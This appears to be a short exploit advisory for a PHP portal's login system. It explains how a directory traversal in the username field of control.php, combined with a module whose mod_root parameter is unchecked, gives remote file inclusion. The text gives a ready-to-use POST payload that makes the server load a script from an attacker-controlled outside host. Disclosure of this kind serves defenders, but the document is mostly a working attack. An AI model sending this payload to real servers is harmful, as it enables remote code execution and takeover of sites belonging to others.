Bug Explanation: 

This Portal presents a vulnerability in the "login system" that allows us to require a page ".php" in the directory "/users/" (whatever using directory transversal ("../") we can require any page).

Additionally "Check" was defined by the required page globals.php, allowing us to bypass the "security-die" on the top of most php page (see /modules/fs/mod.php; line 1).
If we require "/modules/fs/mod.php" with a $mod_root value, we can require an external page of the site.

We can do Post Request to control.php?act=login with post values: usr=../modules/fs/mod&pwd=casualpass&mod_root=http://yoursite.org/yourscript? and get RFI.

------------------------------------------------------------------------------------------------
The require in control.php is extremely unsafe, it could be used with other pages to obtain other vulnerabilities.
